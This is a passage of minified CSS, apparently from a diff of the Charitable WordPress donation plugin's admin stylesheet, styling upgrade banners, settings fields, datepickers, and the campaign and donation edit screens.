0!important}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left .charitable-cta-list ul{display:flex;margin-bottom:20px!important;float:none!important;flex-direction:row;justify-content:space-between;align-items:center;flex-wrap:wrap;width:100%!important;padding:10px 0;gap:10px}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left .charitable-cta-list ul li{margin:0 0 10px 0!important;padding:0 0 0 30px!important;color:#555;font-size:13px;line-height:14px;position:relative;width:calc(50% - 40px)}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left .charitable-cta-list ul li:before{content:"✓"!important;position:absolute;width:16px;height:16px;background:0 0;border:2px solid #218900;border-radius:50%;display:inline-flex;align-items:center;justify-content:center;color:#218900;font-size:10px;left:0;top:2px}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left a.button-primary{background-color:#218900;color:#fff;border:none;font-weight:600;padding:15px 20px!important;border-radius:5px!important;line-height:normal!important;min-height:50px!important;height:50px!important}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left a.button-primary:hover{background-color:#1a6d00}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image{display:flex}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image img{width:100%;height:120%;object-fit:cover;max-width:100%;border:1px solid #dadada}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-button-container{display:flex;justify-content:start;align-items:center;flex-direction:row;gap:20px}.charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-button-container p{color:#555}.charitable-cta-lite-to-pro.no-close-button .charitable-cta-content{margin-top:30px!important;margin-bottom:20px!important}body.charitable_page_charitable-reports .charitable-cta-lite-to-pro{max-width:100%;margin-left:auto;margin-right:auto;overflow:hidden;background-image:none!important}body.charitable_page_charitable-reports .charitable-cta-lite-to-pro .charitable-cta-content{padding-bottom:20px!important}body.charitable_page_charitable-reports .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left ul li:before{top:-1px!important}body.charitable_page_charitable-reports .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image{display:none!important}body.charitable_page_charitable-addons .charitable-cta-lite-to-pro,body.charitable_page_charitable-dashboard .charitable-cta-lite-to-pro{max-width:1000px;overflow:hidden}body.charitable_page_charitable-addons .charitable-cta-lite-to-pro .charitable-cta-content,body.charitable_page_charitable-dashboard .charitable-cta-lite-to-pro .charitable-cta-content{justify-content:flex-start}body.charitable_page_charitable-addons .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left,body.charitable_page_charitable-dashboard .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-content-left{margin-bottom:-10px!important}body.charitable_page_charitable-addons .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image,body.charitable_page_charitable-dashboard .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image{max-height:400px}body.charitable_page_charitable-addons .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image img,body.charitable_page_charitable-dashboard .charitable-cta-lite-to-pro .charitable-cta-content .charitable-cta-featured-image img{max-height:100%}@media (max-width:1100px){.charitable-cta-lite-to-pro{background-image:none}.charitable-cta-lite-to-pro .charitable-cta-content{flex-direction:column}}#charitable-reports .reports-lite-cta{position:absolute!important;z-index:9999999;top:50%;left:0;right:0;transform:translateY(-50%);margin:25px 25px 125px 25px!important}#charitable-reports .dashboard-lite-cta{position:relative!important;margin:0!important;transform:none!important}#charitable-reports .reports-lite-cta .list{margin:0 0 16px 0;overflow:auto;max-width:900px}#charitable-reports .reports-lite-cta .green{color:#218900;font-weight:600}#charitable-reports .reports-lite-cta .fa-star{color:#ff982d}#charitable-settings .settings-lite-cta ul li{margin:0;padding:0 0 2px 16px;color:#555;font-size:14px;position:relative}#charitable-settings .settings-lite-cta ul li:before{content:"+";position:absolute;top:-1px;left:0}#charitable-settings .settings-lite-cta .list{margin:0 0 16px 0;overflow:auto;max-width:900px}#charitable-settings .settings-lite-cta .green{color:#218900;font-weight:600}#charitable-settings .settings-lite-cta .fa-star{color:#ff982d}#charitable-settings .tablenav .tablenav-pages .tablenav-pages-navspan,#charitable-settings .tablenav .tablenav-pages a{min-width:28px;height:auto}.charitable-admin-wrap #charitable-settings .notice{margin-left:0!important;margin-right:0!important}select#charitable_settings_import_donations{margin-bottom:10px;width:100%}.form-table td p.top-label{margin-bottom:10px}body.post-type-charitable .postbox h2 .badge,th .badge{display:inline-block;padding:.25em .4em;font-size:75%;font-weight:700;line-height:11px;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25rem}body.post-type-charitable .postbox h2 .badge.beta,th .badge.beta{color:#fff;background-color:#007bff}.charitable-setting-dropdown-container,.charitable-setting-file-container{margin-bottom:10px;margin-top:5px}form.form-contains-file.charitable-import-campaign-donations-form{margin-top:5px}form.form-contains-file{margin-top:15px}form.form-contains-file input[type=file].charitable-settings-field{font-size:14px}.charitable-setting-file-container{display:flex;align-items:center;justify-content:flex-start;max-width:650px;margin-top:-5px}.charitable-setting-file-container input[type=file]{padding:4px;margin:-4px;position:relative;outline:0}.charitable-setting-file-container input[type=file]::file-selector-button{border-radius:4px;padding:0 16px;height:40px;cursor:pointer;background-color:#fff;border:1px solid rgba(0,0,0,.16);box-shadow:0 1px 0 rgba(0,0,0,.05);margin-right:16px;width:132px;color:transparent}@supports (-moz-appearance:none){.charitable-setting-file-container input[type=file]::file-selector-button{color:#0964b0}}.charitable-setting-file-container input[type=file]::file-selector-button:hover{background-color:#f3f4f6}.charitable-setting-file-container input[type=file]::file-selector-button:active{background-color:#e5e7eb}.charitable-setting-file-container input[type=file]::before{position:absolute;pointer-events:none;top:11px;left:16px;height:20px;width:20px;content:"";background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' fill='%230964B0'%3E%3Cpath d='M18 15v3H6v-3H4v3c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-3h-2zM7 9l1.41 1.41L11 7.83V16h2V7.83l2.59 2.58L17 9l-5-5-5 5z'/%3E%3C/svg%3E")}.charitable-setting-file-container input[type=file]::after{position:absolute;pointer-events:none;top:10px;left:43px;color:#0964b0;content:"Upload File"}.charitable-setting-file-container input[type=file]:focus-within::file-selector-button,.charitable-setting-file-container input[type=file]:focus::file-selector-button{outline:2px solid #0964B0;outline-offset:2px}table.charitable-donor-history-table td p{margin:0}body.charitable-admin-reports-dashboard #charitable-reports .reports-lite-cta,body.charitable-admin-settings #charitable-settings .settings-lite-cta{position:relative!important;top:0;transform:none!important;margin-left:0!important}#charitable-reports .reports-lite-cta .dismiss,#charitable-settings .settings-lite-cta .dismiss{position:absolute;top:10px;right:10px;color:#666;font-size:16px;text-decoration:none}#charitable-reports .reports-lite-cta h5,#charitable-settings .settings-lite-cta h5{margin:0 0 16px;font-size:18px;font-weight:600;line-height:24px}#charitable-reports .reports-lite-cta h6,#charitable-settings .settings-lite-cta h6{font-weight:700;font-size:14px;margin:0 0 16px}#charitable-reports .reports-lite-cta p,#charitable-settings .settings-lite-cta p{color:#555;font-size:14px;margin:0 0 16px}#charitable-reports .reports-lite-cta p:last-of-type,#charitable-settings .settings-lite-cta p:last-of-type{margin:0}#charitable-reports .reports-lite-cta p a,#charitable-settings .settings-lite-cta p a{color:#e27730}#charitable-reports .reports-lite-cta p a:hover,#charitable-settings .settings-lite-cta p a:hover{color:#b85a1b}#charitable-reports .reports-lite-cta ul,#charitable-settings .settings-lite-cta ul{margin:0;padding:0;width:50%;float:left} \ No newline at end of file +@charset "UTF-8";/** * Clearfix helper class. * Credit:h5bp.com/q */.cf{*zoom:1}.cf:before, .cf:after{content:" ";display:table}.cf:after{clear:both}/** * Media block * * Credit:http://www.stubbornella.org/content/2010/06/25/the-media-object-saves-hundreds-of-lines-of-code/ */.charitable-media-block{overflow:hidden}.charitable-media-block .charitable-media-image{float:left;margin-right:12px}.charitable-media-block .charitable-media-image img{display:block}.charitable-media-block .charitable-media-body{overflow:hidden}.ui-datepicker{display:none}.ui-datepicker.charitable-datepicker-table{background-color:#fff;padding:0;border:1px solid #dedede;width:auto;z-index:100000 !important}.ui-datepicker.charitable-datepicker-table .ui-datepicker-header{padding:10px 20px;background:#f5f5f5;text-align:center;border:0;border-bottom:1px solid #dfdfdf;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.ui-datepicker.charitable-datepicker-table .ui-datepicker-prev,.ui-datepicker.charitable-datepicker-table .ui-datepicker-next{position:absolute;top:10px;width:auto;height:auto;color:#0073AA;cursor:pointer}.ui-datepicker.charitable-datepicker-table .ui-datepicker-prev .ui-icon,.ui-datepicker.charitable-datepicker-table .ui-datepicker-next .ui-icon{position:static;top:0;left:0;width:auto;height:auto;margin:0;background-image:none;text-indent:0;font-weight:400}.ui-datepicker.charitable-datepicker-table .ui-datepicker-prev{left:10px}.ui-datepicker.charitable-datepicker-table .ui-datepicker-next{right:10px}.ui-datepicker.charitable-datepicker-table .ui-state-hover{border:none;background:none}.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar{width:100%;padding:10px;margin:0;text-align:center}.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar td{border:1px solid #dedede}.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar a{display:block;padding:6px;border:none;color:#747474;background:none;text-decoration:none;text-align:center}.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar td:first-child{border-left:0}.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar td:hover,.ui-datepicker.charitable-datepicker-table .ui-datepicker-calendar .ui-datepicker-unselectable{background-color:#f5f5f5}.charitable-metabox.postbox{min-width:0;padding:0 0 24px 0;margin:0;background-color:transparent;border:none;box-shadow:none}.charitable-metabox.postbox .inside{margin-top:0;padding:0}.charitable-metabox .postbox-title{padding:0 0 8px 0}.charitable-metabox .postbox-header{border-bottom:none}.charitable-metabox .handlediv,.charitable-metabox .hndle{display:none}.charitable-metabox input,.charitable-metabox textarea{padding:14px 10px;width:100%}.charitable-metabox select{width:100%}.charitable-metabox input[type=checkbox],.charitable-metabox input[type=radio],.charitable-metabox input[type=button],.charitable-metabox input[type=submit]{width:auto}.charitable-metabox .charitable-metabox-title{font-size:14px;margin-top:0;margin-bottom:8px}.charitable-metabox .widefat th{font-size:13px}.charitable-metabox .widefat tbody th{width:33%;border-right:1px solid #e1e1e1;background:#f5f5f5}.charitable-metabox .widefat .remove-col,.charitable-metabox .widefat .reorder-col{vertical-align:middle;text-align:center}.charitable-metabox .widefat .remove-col span,.charitable-metabox .widefat .reorder-col span{font-size:20px;color:#aaa}.charitable-metabox .widefat .remove-col span:hover,.charitable-metabox .widefat .reorder-col span:hover{color:#444}.charitable-metabox .widefat .reorder-col{width:10px;padding-right:0}.charitable-metabox .widefat .reorder-col span{cursor:move}.charitable-metabox .widefat .remove-col{width:20px;padding-left:0}.charitable-metabox .widefat .remove-col span{cursor:pointer}.charitable-metabox .widefat .ui-sortable-helper{border:1px solid #ddd;background:#efefef}.charitable-metabox .table-header{background:#f5f5f5}.charitable-metabox .table-header label{margin-bottom:0;font-weight:bold}.charitable-metabox .charitable-metabox-header{margin:24px 0}.charitable-metabox h4.charitable-metabox-header{border-bottom:1px solid #dedede;padding-bottom:12px;margin-bottom:12px;font-size:14px}.charitable-metabox .inside > .charitable-metabox-header:first-child{margin-top:0}#side-sortables .charitable-metabox-wrap{float:none}.charitable-metabox-header{float:left;width:100%}.charitable-metabox-wrap{width:100%;float:left;margin-bottom:24px}.charitable-metabox-wrap .charitable-helper{display:block;padding-top:8px;font-style:italic}.charitable-metabox-wrap label,.charitable-metabox-wrap legend{display:block;margin-bottom:8px;font-weight:bold}.charitable-metabox-wrap th label{margin-bottom:0}.charitable-metabox-wrap input,.charitable-metabox-wrap textarea{width:100%;padding:8px 10px}.charitable-metabox-wrap select{width:100%;padding:0 10px;height:46px;line-height:46px}.charitable-metabox-wrap input[type=checkbox],.charitable-metabox-wrap input[type=radio]{width:auto}.charitable-metabox-wrap.charitable-radio-wrap, .charitable-metabox-wrap.charitable-multi-checkbox-wrap{margin-bottom:14px}.charitable-metabox-wrap .charitable-radio-fieldset legend,.charitable-metabox-wrap .charitable-checkbox-fieldset legend{margin-bottom:0}.charitable-metabox-wrap .charitable-radio-fieldset .charitable-helper,.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-helper{padding:0}.charitable-metabox-wrap .charitable-radio-fieldset .charitable-radio-list,.charitable-metabox-wrap .charitable-radio-fieldset .charitable-checkbox-list,.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-radio-list,.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-checkbox-list{margin-top:8px}.charitable-metabox-wrap .charitable-radio-fieldset .charitable-radio-list li,.charitable-metabox-wrap .charitable-radio-fieldset .charitable-checkbox-list li,.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-radio-list li,.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-checkbox-list li{display:block}.charitable-metabox-wrap .charitable-radio-fieldset .charitable-radio-list label,.charitable-metabox-wrap .charitable-radio-fieldset .charitable-checkbox-list label,.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-radio-list label,.charitable-metabox-wrap .charitable-checkbox-fieldset .charitable-checkbox-list label{vertical-align:baseline}.charitable-metabox-wrap .select2-selection.select2-selection--single{height:46px;font-size:14px}.charitable-metabox-wrap .select2-container--default .select2-selection--single .select2-selection__rendered{line-height:46px}.charitable-metabox-wrap .select2-container--default .select2-selection--single .select2-selection__arrow{height:46px}.charitable-metabox-wrap .select2-results__option{margin-bottom:0}.charitable-checkbox-wrap label{display:inline;font-weight:normal}.charitable-checkbox-list{display:flex;flex-direction:row;flex-wrap:wrap;width:75% !important;gap:8px}.charitable-checkbox-list li{font-size:15px;line-height:15px;width:calc(50% - 5px)}.charitable-radio-list label{display:inline-block;font-weight:normal}.charitable-radio-list li{margin-bottom:8px}.charitable-radio-list label{margin-bottom:0;vertical-align:text-bottom}.charitable-metabox-block{padding:10px;margin-bottom:10px;border:1px solid #dedede}body.post-type-donation .postbox-container .empty-container,body.post-type-campaign .postbox-container .empty-container{border:none;height:auto}.charitable-actions-form{padding:12px 12px 18px 12px}.charitable-actions-submit{background-color:#f8f8f8;padding:12px;border-top:1px solid #e5e5e5}.charitable-actions-submit .button-primary{float:right}.charitable-action-fields{margin-top:20px}.post-type-campaign .postbox-title{border-bottom:1px solid #eee}#campaign-title.postbox,#campaign-goal.postbox,#campaign-end-date.postbox,#campaign-description.postbox{min-width:0;padding:0 0 24px 0;margin:0;background-color:transparent;border:none;box-shadow:none}#campaign-title.postbox .inside,#campaign-goal.postbox .inside,#campaign-end-date.postbox .inside,#campaign-description.postbox .inside{margin-top:0;padding:0}#campaign-title.postbox .postbox-title,#campaign-goal.postbox .postbox-title,#campaign-end-date.postbox .postbox-title,#campaign-description.postbox .postbox-title{padding:0 0 8px 0}#campaign-title.postbox .postbox-header,#campaign-goal.postbox .postbox-header,#campaign-end-date.postbox .postbox-header,#campaign-description.postbox .postbox-header{border-bottom:none}#campaign-title.postbox .handlediv,#campaign-title.postbox .hndle,#campaign-goal.postbox .handlediv,#campaign-goal.postbox .hndle,#campaign-end-date.postbox .handlediv,#campaign-end-date.postbox .hndle,#campaign-description.postbox .handlediv,#campaign-description.postbox .hndle{display:none}#campaign-title input,#campaign-title textarea,#campaign-goal input,#campaign-goal textarea,#campaign-end-date input,#campaign-end-date textarea,#campaign-description input,#campaign-description textarea{padding:14px 10px;width:100%}#campaign-title select,#campaign-goal select,#campaign-end-date select,#campaign-description select{width:100%}#campaign-title input[type=checkbox],#campaign-title input[type=radio],#campaign-title input[type=button],#campaign-title input[type=submit],#campaign-goal input[type=checkbox],#campaign-goal input[type=radio],#campaign-goal input[type=button],#campaign-goal input[type=submit],#campaign-end-date input[type=checkbox],#campaign-end-date input[type=radio],#campaign-end-date input[type=button],#campaign-end-date input[type=submit],#campaign-description input[type=checkbox],#campaign-description input[type=radio],#campaign-description input[type=button],#campaign-description input[type=submit]{width:auto}#campaign-title .charitable-metabox-title,#campaign-goal .charitable-metabox-title,#campaign-end-date .charitable-metabox-title,#campaign-description .charitable-metabox-title{font-size:14px;margin-top:0;margin-bottom:8px}#campaign-title .widefat th,#campaign-goal .widefat th,#campaign-end-date .widefat th,#campaign-description .widefat th{font-size:13px}#campaign-title .widefat tbody th,#campaign-goal .widefat tbody th,#campaign-end-date .widefat tbody th,#campaign-description .widefat tbody th{width:33%;border-right:1px solid #e1e1e1;background:#f5f5f5}#campaign-title .widefat .remove-col,#campaign-title .widefat .reorder-col,#campaign-goal .widefat .remove-col,#campaign-goal .widefat .reorder-col,#campaign-end-date .widefat .remove-col,#campaign-end-date .widefat .reorder-col,#campaign-description .widefat .remove-col,#campaign-description .widefat .reorder-col{vertical-align:middle;text-align:center}#campaign-title .widefat .remove-col span,#campaign-title .widefat .reorder-col span,#campaign-goal .widefat .remove-col span,#campaign-goal .widefat .reorder-col span,#campaign-end-date .widefat .remove-col span,#campaign-end-date .widefat .reorder-col span,#campaign-description .widefat .remove-col span,#campaign-description .widefat .reorder-col span{font-size:20px;color:#aaa}#campaign-title .widefat .remove-col span:hover,#campaign-title .widefat .reorder-col span:hover,#campaign-goal .widefat .remove-col span:hover,#campaign-goal .widefat .reorder-col span:hover,#campaign-end-date .widefat .remove-col span:hover,#campaign-end-date .widefat .reorder-col span:hover,#campaign-description .widefat .remove-col span:hover,#campaign-description .widefat .reorder-col span:hover{color:#444}#campaign-title .widefat .reorder-col,#campaign-goal .widefat .reorder-col,#campaign-end-date .widefat .reorder-col,#campaign-description .widefat .reorder-col{width:10px;padding-right:0}#campaign-title .widefat .reorder-col span,#campaign-goal .widefat .reorder-col span,#campaign-end-date .widefat .reorder-col span,#campaign-description .widefat .reorder-col span{cursor:move}#campaign-title .widefat .remove-col,#campaign-goal .widefat .remove-col,#campaign-end-date .widefat .remove-col,#campaign-description .widefat .remove-col{width:20px;padding-left:0}#campaign-title .widefat .remove-col span,#campaign-goal .widefat .remove-col span,#campaign-end-date .widefat .remove-col span,#campaign-description .widefat .remove-col span{cursor:pointer}#campaign-title .widefat .ui-sortable-helper,#campaign-goal .widefat .ui-sortable-helper,#campaign-end-date .widefat .ui-sortable-helper,#campaign-description .widefat .ui-sortable-helper{border:1px solid #ddd;background:#efefef}#campaign-title .table-header,#campaign-goal .table-header,#campaign-end-date .table-header,#campaign-description .table-header{background:#f5f5f5}#campaign-title .table-header label,#campaign-goal .table-header label,#campaign-end-date .table-header label,#campaign-description .table-header label{margin-bottom:0;font-weight:bold}#campaign-title .charitable-metabox-header,#campaign-goal .charitable-metabox-header,#campaign-end-date .charitable-metabox-header,#campaign-description .charitable-metabox-header{margin:24px 0}#campaign-title h4.charitable-metabox-header,#campaign-goal h4.charitable-metabox-header,#campaign-end-date h4.charitable-metabox-header,#campaign-description h4.charitable-metabox-header{border-bottom:1px solid #dedede;padding-bottom:12px;margin-bottom:12px;font-size:14px}#campaign-title .inside > .charitable-metabox-header:first-child,#campaign-goal .inside > .charitable-metabox-header:first-child,#campaign-end-date .inside > .charitable-metabox-header:first-child,#campaign-description .inside > .charitable-metabox-header:first-child{margin-top:0}#campaign-top-sortables{padding-top:20px}#campaign-top-sortables > .postbox:nth-child(2),#campaign-top-sortables > .postbox:nth-child(3){float:left;width:48%}#campaign-top-sortables > .postbox:nth-child(2){padding-right:4%}#campaign-top-sortables #campaign-description{clear:both}@media (max-width:37.5em){#campaign-top-sortables > .postbox:nth-child(2), #campaign-top-sortables > .postbox:nth-child(3){width:100%;padding:0 0 24px}}#charitable-campaign-end-date-metabox-wrap{position:relative}#charitable-campaign-end-date-metabox-wrap .charitable-end-time{position:absolute;right:0;top:2px;width:80px;padding:20px 10px;border-left:1px solid rgba(0, 0, 0, 0.07);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.07);background:#f5f5f5;text-align:center;border-radius:0 4px 4px 0}@media (min-width:48.875em){#charitable-campaign-end-date-metabox-wrap .charitable-end-time{padding:18px 10px}}#campaign-end-date.postbox #charitable-campaign-end-date-metabox-wrap label{border:0;clip:rect(1px, 1px, 1px, 1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal !important}#campaign-settings .postbox-title{border:none}#campaign-settings .inside{margin:0;padding:0}#campaign-settings .ui-tabs{*zoom:1;clear:both;padding:0;background-color:#f5f5f5;border:none;border-radius:0;font-family:"Open Sans", sans-serif;font-size:13px}#campaign-settings .ui-tabs:before, #campaign-settings .ui-tabs:after{content:" ";display:table}#campaign-settings .ui-tabs:after{clear:both}#campaign-settings .ui-tabs .wp-editor-expand #wp-content-editor-tools{background-color:transparent}#campaign-settings .ui-tabs-nav{float:left;width:20%;margin:0;padding:0;border:none;background:none;line-height:1em;height:auto}#campaign-settings .ui-tabs-nav li{position:relative;top:0;display:block;width:100%;float:none;background:none;margin:0;padding:0 1px 0 0;border:0;white-space:normal}#campaign-settings .ui-tabs-nav a{display:block;float:none;padding:10px;color:#747474;text-decoration:none;border:none;text-shadow:none;margin:0;font-weight:normal}#campaign-settings .ui-tabs-nav li.ui-tabs-active{z-index:2;margin-right:-2px;border-top:1px solid #dedede;border-bottom:1px solid #dedede !important;background-color:#fff}#campaign-settings .ui-tabs-nav li:first-child{border-top-color:1px solid #dedede}#campaign-settings .ui-tabs-nav li.ui-tabs-active:first-child{border-top-color:transparent}#campaign-settings .ui-tabs-nav li:last-child{margin-bottom:10px;border-bottom-color:transparent}#campaign-settings .ui-tabs-panel{clear:none;box-sizing:border-box;float:right;width:80%;padding:20px;margin:0;border-left:1px solid #dedede;border-top:0;background-color:#fff}#campaign-settings #wp-content-editor-tools{padding-top:0}.charitable-campaign-settings-panel .charitable-metabox-header:first-child{margin-top:0}#charitable-campaign-suggested-donations .amount-col{width:100px;min-width:35%}.charitable-benefactor-wrap{padding:0 10px 10px;margin-top:10px;border:1px solid #ddd;background:#f5f5f5}.charitable-benefactor-wrap select{width:100%}.charitable-benefactor-summary{*zoom:1}.charitable-benefactor-summary:before, .charitable-benefactor-summary:after{content:" ";display:table}.charitable-benefactor-summary:after{clear:both}.charitable-benefactor-summary .summary{float:left;width:82%}.charitable-benefactor-summary .alignright{float:right;width:18%;text-align:right}.charitable-benefactor-form-cancel{float:right;margin-top:10px}.charitable-benefactor-contribution-amount{margin-bottom:10px}.charitable-benefactor-contribution-amount .contribution-amount{margin-bottom:10px;font-size:16px}@media (min-width:42.5em){.charitable-benefactor-contribution-amount{border:1px solid #ddd;background-color:#fff}.charitable-benefactor-contribution-amount .contribution-amount{width:auto;min-width:220px;margin:1px;border:none;box-shadow:none}.charitable-benefactor-contribution-amount .contribution-type{float:right;margin:10px;width:auto}.charitable-benefactor-contribution-amount input:focus, .charitable-benefactor-contribution-amount select:focus{box-shadow:none}}.charitable-benefactor-date-wrap{margin-top:10px}.charitable-benefactor-date-wrap label{float:left;width:49%}.charitable-benefactor-date-wrap label:nth-child(2n+2){margin-left:2%}.charitable-benefactor-date-wrap input{margin:1em 0;font-weight:normal}.charitable-benefactor-inactive,.charitable-benefactor-expired{background-color:#f5f5f5}.charitable-benefactor-inactive .summary span,.charitable-benefactor-expired .summary span{font-weight:bold;text-transform:uppercase;padding-right:8px;color:#f89d35}#campaign-creator .creator-facts .creator-name{padding:0}#campaign-creator .creator-facts .creator-name a{color:#333;text-decoration:none}#campaign-creator .creator-facts dt{display:inline-block;font-weight:bold}#campaign-creator .creator-facts dd{display:inline-block}#charitable-campaign-creator-metabox-wrap #campaign-creator{padding-bottom:24px;margin-bottom:12px;border-bottom:1px solid #e1e1e1}body.post-type-donation #post-body-content,body.post-type-donation #titlediv{display:none}body.post-type-donation .closed .inside{display:block}body.post-type-donation .donation-banner-wrapper{float:left;width:100%;background:#f8f8f8;border-radius:4px 4px 0 0;border-bottom:1px solid #e5e5e5}body.post-type-donation .donation-banner{position:relative;padding:12px}body.post-type-donation .donation-banner .donation-edit-link{position:absolute;top:12px;right:12px}body.post-type-donation .donation-banner .donation-number{margin:0;padding:0;font-size:1.3em}body.post-type-donation .donation-erasure-notice-wrapper{float:left;width:100%}body.post-type-donation .donation-erasure-notice{padding:12px 20px;border-bottom:1px solid #e5e5e5;font-style:italic}@media (min-width:70em){body.post-type-donation #poststuff #post-body.columns-2{margin-right:340px}body.post-type-donation #poststuff #post-body.columns-2 #postbox-container-1{margin-right:-340px;width:320px}body.post-type-donation #poststuff #post-body.columns-2 #postbox-container-1 #side-sortables{width:100%}}#donation-overview .charitable-metabox{*zoom:1}#donation-overview .charitable-metabox:before, #donation-overview .charitable-metabox:after{content:" ";display:table}#donation-overview .charitable-metabox:after{clear:both}#donation-overview .hndle{display:none}#donation-overview .inside{margin:0;padding:0}#donation-overview #donor{float:left;padding:12px 12px 36px 12px;width:300px;max-width:67%}#donation-overview .donor-name{font-weight:normal}#donation-overview h3{margin:0 0 0.5em;padding:0;font-size:1.3em}#donation-overview #donation-summary{float:right;padding:12px 12px 36px 0;max-width:33%;text-align:right}#donation-overview .donation-status{display:block;margin-bottom:6px}#donation-overview .donation-status .status,#donation-overview .donation-status .contact-consent .consent{font-weight:bolder}#donation-overview table#overview{float:left;width:100%;border-spacing:0}#donation-overview table#overview thead th{padding:0 0 0.8em}#donation-overview table#overview .col-campaign-name{padding-left:12px;text-align:left}#donation-overview table#overview .col-campaign-donation-amount{padding-right:12px;text-align:right}#donation-overview table#overview tbody td{padding:2em 0;border-top:1px solid #e5e5e5}#donation-overview table#overview tbody tr:last-child td{border-bottom:1px solid #e5e5e5}#donation-overview table#overview .campaign-name{padding-left:12px;font-size:18px}#donation-overview table#overview .campaign-donation-amount{padding-right:12px;font-size:16px;text-align:right}#donation-overview table#overview tfoot td,#donation-overview table#overview tfoot th{padding:0.6em 12px 0.6em 0;background-color:#f8f8f8;text-align:right}#donation-overview table#overview tfoot tr:first-of-type td,#donation-overview table#overview tfoot tr:first-of-type th{padding-top:1.2em}#donation-overview table#overview tfoot tr:last-of-type td,#donation-overview table#overview tfoot tr:last-of-type th{padding-bottom:1.2em}#donation-actions .inside{padding:0}#donation-details,#donation-log,#donation-actions{border-bottom:1px solid #ccd0d4}#donation-details dt{font-weight:bold;margin-bottom:0.5em}#donation-details dd{margin:0 0 1em;padding-bottom:1em;border-bottom:1px solid #e5e5e5}#donation-details dd:last-child{border-bottom:none;padding-bottom:0}#donation-log .inside{padding:0;margin-top:0}#donation-log table{word-break:break-all;border:none}#donation-log th,#donation-log td{padding-left:12px;padding-right:12px}#donation-log thead th{background:#f8f8f8}#donation-log thead th:first-child{width:200px}#donation-log tbody td{border-bottom:1px solid #e5e5e5}#donation-log tbody tr:last-child td{border-bottom:0}.post-type-donation.charitable-admin-donation-form #postbox-container-2{margin-bottom:0;border:1px solid #dedede;border-radius:4px;background:#fff}.post-type-donation.charitable-admin-donation-form .charitable-metabox-wrap{margin-bottom:24px}.post-type-donation.charitable-admin-donation-form .charitable-metabox-wrap.charitable-fieldset-wrap{margin-bottom:0}.post-type-donation.charitable-admin-donation-form #donation-form{border:none;background:transparent;box-shadow:none}.post-type-donation.charitable-admin-donation-form #donation-form .postbox-title{display:none}.post-type-donation.charitable-admin-donation-form #donation-form .inside{padding:0;margin:0}.post-type-donation.charitable-admin-donation-form #donation-form .inside > .charitable-form-fields{clear:both;padding:20px}.post-type-donation.charitable-admin-donation-form #donation-form .charitable-form-fields > h3:first-of-type{margin-top:0}.post-type-donation.charitable-admin-donation-form #donation-form .charitable-form-fields > .charitable-metabox-wrap:not(.charitable-fieldset-wrap){margin-bottom:24px}.post-type-donation.charitable-admin-donation-form #donation-form-meta{padding:24px 12px 12px}#charitable-campaign-donations thead th{background:#f5f5f5}#charitable-user-fields-wrap{width:100%}#charitable-user-fields-wrap .charitable-overlay{display:none !important}#charitable-user-fields-wrap.loading-data .charitable-overlay{display:block !important;text-align:center}#charitable-user-fields-wrap.loading-data > *:not(.charitable-overlay){display:none}#charitable-user-fields-wrap #charitable-first-name-wrap,#charitable-user-fields-wrap #charitable-last-name-wrap{width:48%}#charitable-user-fields-wrap #charitable-first-name-wrap{padding-right:4%}#charitable-user-fields-wrap #charitable-postcode-wrap{width:26%;padding-right:4%}#charitable-user-fields-wrap #charitable-country-wrap{width:70%;clear:right}.charitable-settings-field{padding:7px 10px;width:300px;font-size:16px;line-height:1.5em}.charitable-settings-field.short{width:100px}.charitable-settings-field.wide{width:100%}.charitable-inline-notice{background:#fff;border:1px solid #c3c4c7;border-left-width:4px;box-shadow:0 1px 1px rgba(0, 0, 0, 0.04);margin:5px 15px 15px 0;padding:10px 12px}.charitable-inline-notice p:last-child{margin-bottom:0 !important}.charitable-inline-notice.info{border-left-color:#00a0d2}.charitable-inline-notice.warning{border-left-color:#ffb900}input[type=number].charitable-settings-field{height:auto}select.charitable-settings-field{width:auto;min-width:300px}input#charitable_settings_import_campaign,input#charitable_settings_import_donations{display:table;margin:0 0 10px 0;width:100%}select#charitable_settings_import_donations,select#charitable_settings_export_campaign,select#charitable_settings_export_donations{padding:0 24px 0 10px;min-height:45px;display:table;margin:0 0 10px 0;width:100%;text-indent:10px}.charitable-settings-object{max-width:1000px;padding:10px 20px;margin-bottom:4px;border:1px solid #e1e1e1;background-color:#fff}.charitable-settings-object h4{float:left;margin:0;line-height:28px}.charitable-settings-object span.actions{float:right}.charitable-settings-object span.actions a{margin-left:10px}.charitable-gateway .default-gateway,.charitable-gateway .make-default-gateway{margin-left:20px;font-size:12px;line-height:28px}.charitable-gateway .default-gateway{color:#f89d35}.charitable-gateway 